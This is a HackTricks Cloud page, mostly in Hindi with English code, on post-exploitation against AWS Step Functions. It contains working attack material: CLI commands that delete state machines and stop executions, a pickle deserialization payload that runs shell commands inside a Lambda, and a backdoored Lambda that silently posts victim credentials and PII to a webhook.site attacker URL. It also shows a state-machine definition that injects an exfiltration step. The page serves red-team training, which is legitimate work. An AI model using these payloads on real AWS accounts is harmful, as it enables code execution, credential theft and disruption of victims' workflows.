AWS - Step Functions Post Exploitation
Tip
सीखें और अभ्यास करें AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
सीखें और अभ्यास करें GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
सीखें और अभ्यास करें Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks का समर्थन करें
- देखें subscription plans!
- शामिल हों 💬 Discord group या telegram group या हमें फ़ॉलो करें Twitter 🐦 @hacktricks_live.
- PRs सबमिट करके hacking tricks साझा करें HackTricks और HackTricks Cloud github repos.
Step Functions
For more information about this AWS service, check:
states:RevealSecrets
यह permission एक execution के अंदर रहस्य डेटा को उजागर करने की अनुमति देता है। इसके लिए, Inspection level को TRACE पर सेट करना और revealSecrets parameter को true पर सेट करना आवश्यक है।
.png)
states:DeleteStateMachine, states:DeleteStateMachineVersion, states:DeleteStateMachineAlias
इन permissions वाले एक attacker स्थायी रूप से state machines, उनके versions, और aliases को delete कर सकेंगे। इससे महत्वपूर्ण workflows बाधित हो सकते हैं, data loss हो सकता है, और प्रभावित state machines को recover और restore करने में काफी समय लग सकता है। इसके अलावा, यह attacker को उपयोग किए गए ट्रैक्स को छिपाने, forensic investigations को बाधित करने, और आवश्यक automation processes और state configurations को हटा कर operations को संभावित रूप से ठप करने की अनुमति देगा।
Note
- यदि आप एक state machine को delete करते हैं, तो आप उसके साथ जुड़े सभी versions और aliases को भी delete कर देते हैं।
- यदि आप एक state machine alias को delete करते हैं, तो आप उस alias को रेफरेंस कर रहे state machine versions को delete नहीं करते।
- वर्तमान में किसी एक या अधिक aliases द्वारा रेफरेंस किए जा रहे state machine version को delete करना संभव नहीं है।
# Delete state machine
aws stepfunctions delete-state-machine --state-machine-arn <value>
# Delete state machine version
aws stepfunctions delete-state-machine-version --state-machine-version-arn <value>
# Delete state machine alias
aws stepfunctions delete-state-machine-alias --state-machine-alias-arn <value>
- संभावित प्रभाव: महत्वपूर्ण वर्कफ़्लो में व्यवधान, डेटा हानि, और परिचालन डाउनटाइम।
states:UpdateMapRun
इस अनुमति वाले attacker Map Run failure configuration और parallel setting को हेरफेर कर सकेंगे, जिससे allowed child workflow executions की अधिकतम संख्या बढ़ाई या घटाई जा सकेगी, और इससे सेवा के प्रदर्शन पर प्रत्यक्ष प्रभाव पड़ेगा।
इसके अतिरिक्त, एक attacker tolerated failure percentage और count के साथ छेड़छाड़ कर सकता है, इस मान को 0 तक घटा सकता है ताकि हर बार किसी item के fail होने पर पूरा map run fail हो जाए, जिससे state machine execution पर प्रत्यक्ष प्रभाव पड़े और संभावित रूप से critical workflows बाधित हो सकें।
aws stepfunctions update-map-run --map-run-arn <value> [--max-concurrency <value>] [--tolerated-failure-percentage <value>] [--tolerated-failure-count <value>]
- संभावित प्रभाव: प्रदर्शन में गिरावट और महत्वपूर्ण वर्कफ़्लो में व्यवधान।
states:StopExecution
इस अनुमति वाला attacker किसी भी state machine के निष्पादन को रोक सकता है, जिससे चल रहे वर्कफ़्लो और प्रक्रियाएँ बाधित हो सकती हैं। इससे लेन-देन अधूरे रह सकते हैं, व्यावसायिक संचालन रुक सकते हैं, और संभावित डेटा भ्रष्टाचार हो सकता है।
Warning
यह कार्रवाई express state machines द्वारा समर्थित नहीं है।
aws stepfunctions stop-execution --execution-arn <value> [--error <value>] [--cause <value>]
- संभावित प्रभाव: चल रहे वर्कफ़्लो में व्यवधान, ऑपरेशनल डाउनटाइम, और संभावित डेटा भ्रष्टाचार।
states:TagResource, states:UntagResource
एक हमलावर Step Functions resources से टैग जोड़, संशोधित, या हटाकर आपके संगठन की लागत आवंटन, संसाधन ट्रैकिंग, और टैग पर आधारित पहुँच नियंत्रण नीतियों को बाधित कर सकता है।
aws stepfunctions tag-resource --resource-arn <value> --tags Key=<key>,Value=<value>
aws stepfunctions untag-resource --resource-arn <value> --tag-keys <key>
संभावित प्रभाव: लागत आवंटन, संसाधन ट्रैकिंग, और टैग-आधारित एक्सेस कंट्रोल नीतियों में व्यवधान।
states:StartExecution -> इनपुट इंजेक्शन इन खतरनाक sinks
states:StartExecution एक data-plane entrypoint है। यदि कोई state machine attacker-controlled input को ऐसे task में आगे भेजता है जो एक खतरनाक sink रखता है (उदाहरण के लिए एक Lambda जो pickle.loads(base64.b64decode(payload_b64)) करता है), तो आप कभी-कभी StartExecution को code execution और secret exfiltration में बदल सकते हैं execution output के माध्यम से, बिना state machine को अपडेट करने की किसी अनुमति के।
वर्कफ़्लो और invoke की गई Lambda का पता लगाएँ
यदि आपके पास states:List* / states:Describe* हैं, तो आप state machine definition को सूचीबद्ध और पढ़ सकते हैं:
REGION=us-east-1
SM_ARN="<state_machine_arn>"
aws stepfunctions describe-state-machine --region "$REGION" --state-machine-arn "$SM_ARN" --query definition --output text
यदि आपके पास lambda:GetFunction भी है, तो आप Lambda कोड बंडल डाउनलोड करके समझ सकते हैं कि इनपुट कैसे प्रोसेस होता है (और यह पुष्टि कर सकते हैं कि unsafe deserialization मौजूद है या नहीं):
LAMBDA_ARN="<lambda_arn_from_definition>"
CODE_URL="$(aws lambda get-function --region "$REGION" --function-name "$LAMBDA_ARN" --query 'Code.Location' --output text)"
curl -sSL "$CODE_URL" -o /tmp/lambda.zip
unzip -o /tmp/lambda.zip -d /tmp/lambda_code >/dev/null
ls -la /tmp/lambda_code
उदाहरण: crafted pickle in execution input (Python)
यदि Lambda unpickles हमलावर-नियंत्रित डेटा, तो एक malicious pickle deserialization के दौरान कोड चला सकता है। उदाहरण payload जो Lambda runtime में एक Python expression का मूल्यांकन करता है:
PAYLOAD_B64="$(python3 - <<'PY'
import base64, pickle
class P:
def __reduce__(self):
# Replace with a safe proof (e.g. "1+1") or a target-specific read.
return (eval, ("__import__('os').popen('id').read()",))
print(base64.b64encode(pickle.dumps(P())).decode())
PY
)"
EXEC_ARN="$(aws stepfunctions start-execution --region "$REGION" --state-machine-arn "$SM_ARN" --input "{\"payload_b64\":\"$PAYLOAD_B64\"}" --query executionArn --output text)"
aws stepfunctions describe-execution --region "$REGION" --execution-arn "$EXEC_ARN" --query output --output text
प्रभाव: task role के पास जो भी अनुमतियाँ हैं (Secrets Manager reads, S3 writes, KMS decrypt, आदि) विशेष रूप से तैयार इनपुट के माध्यम से पहुँच योग्य बन सकती हैं, और परिणाम Step Functions execution output में लौटाया जा सकता है।
states:UpdateStateMachine, lambda:UpdateFunctionCode
An attacker who compromises a user or role with the following permissions:
{
"Version": "2012-10-17",
"Statement": [
{
"Sid": "AllowUpdateStateMachine",
"Effect": "Allow",
"Action": "states:UpdateStateMachine",
"Resource": "*"
},
{
"Sid": "AllowUpdateFunctionCode",
"Effect": "Allow",
"Action": "lambda:UpdateFunctionCode",
"Resource": "*"
}
]
}
…Lambda backdooring और Step Function logic manipulation को मिलाकर, एक high-impact and stealthy post-exploitation attack अंजाम दिया जा सकता है।
यह परिदृश्य मानता है कि पीड़ित AWS Step Functions to orchestrate workflows that process sensitive input, जैसे कि credentials, tokens, या PII.
उदाहरण पीड़ित अनुरोध:
aws stepfunctions start-execution \
--state-machine-arn arn:aws:states:us-east-1:<victim-account-id>:stateMachine:LegitStateMachine \
--input '{"email": "victim@example.com", "password": "hunter2"}' --profile victim
यदि Step Function को LegitBusinessLogic जैसे Lambda को invoke करने के लिए कॉन्फ़िगर किया गया है, तो attacker दो stealthy attack variants के साथ आगे बढ़ सकता है:
Lambda function को अपडेट किया गया
attacker पहले से Step Function द्वारा उपयोग हो रहे Lambda function (LegitBusinessLogic) के code को संशोधित करता है ताकि वह input data को silently exfiltrate कर सके।
# send_to_attacker.py
import requests
def lambda_handler(event, context):
requests.post("https://webhook.site/<attacker-id>/exfil", json=event)
return {"status": "exfiltrated"}
zip function.zip send_to_attacker.py
aws lambda update-function-code \
--function-name LegitBusinessLogic \
--zip-file fileb://function.zip -profile attacker
Step Function में एक Malicious State जोड़ें
वैकल्पिक रूप से, आक्रमणकर्ता Step Function की definition को अपडेट करके वर्कफ़्लो की शुरुआत में एक exfiltration state इंजेक्ट कर सकता है।
{
"Comment": "Backdoored for Exfiltration",
"StartAt": "OriginalState",
"States": {
"OriginalState": {
"Type": "Task",
"Resource": "arn:aws:lambda:us-east-1:<victim-id>:function:LegitBusinessLogic",
"End": true
}
}
}
aws stepfunctions update-state-machine \
--state-machine-arn arn:aws:states:us-east-1:<victim-id>:stateMachine:LegitStateMachine \
--definition file://malicious_state_definition.json --profile attacker
हमलावर और भी अधिक छिपकर state definition को कुछ इस तरह अपडेट कर सकता है { “Comment”: “Backdoored for Exfiltration”, “StartAt”: “ExfiltrateSecrets”, “States”: { “ExfiltrateSecrets”: { “Type”: “Task”, “Resource”: “arn:aws:lambda:us-east-1:victim-id:function:SendToAttacker”, “InputPath”: “$”, “ResultPath”: “$.exfil”, “Next”: “OriginalState” }, “OriginalState”: { “Type”: “Task”, “Resource”: “arn:aws:lambda:us-east-1:victim-id:function:LegitBusinessLogic”, “End”: true } } } जिससे पीड़ित अंतर को महसूस नहीं करेगा
पीड़ित सेटअप (Context for Exploit)
- एक Step Function (
LegitStateMachine) संवेदनशील उपयोगकर्ता इनपुट को प्रोसेस करने के लिए उपयोग की जाती है। - यह एक या अधिक Lambda functions को कॉल करती है जैसे
LegitBusinessLogic।
संभावित प्रभाव:
- संवेदनशील डेटा की चुपचाप exfiltration, जिसमें secrets, credentials, API keys, और PII शामिल हैं।
- workflow निष्पादन में कोई दिखाई देने वाली त्रुटियाँ या विफलताएँ नहीं।
- Lambda कोड या execution traces का ऑडिट किए बिना पता लगाना कठिन है।
- यदि backdoor कोड या ASL logic में बना रहता है तो long-term persistence सक्षम हो जाती है।
Tip
सीखें और अभ्यास करें AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
सीखें और अभ्यास करें GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
सीखें और अभ्यास करें Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks का समर्थन करें
- देखें subscription plans!
- शामिल हों 💬 Discord group या telegram group या हमें फ़ॉलो करें Twitter 🐦 @hacktricks_live.
- PRs सबमिट करके hacking tricks साझा करें HackTricks और HackTricks Cloud github repos.
HackTricks Cloud

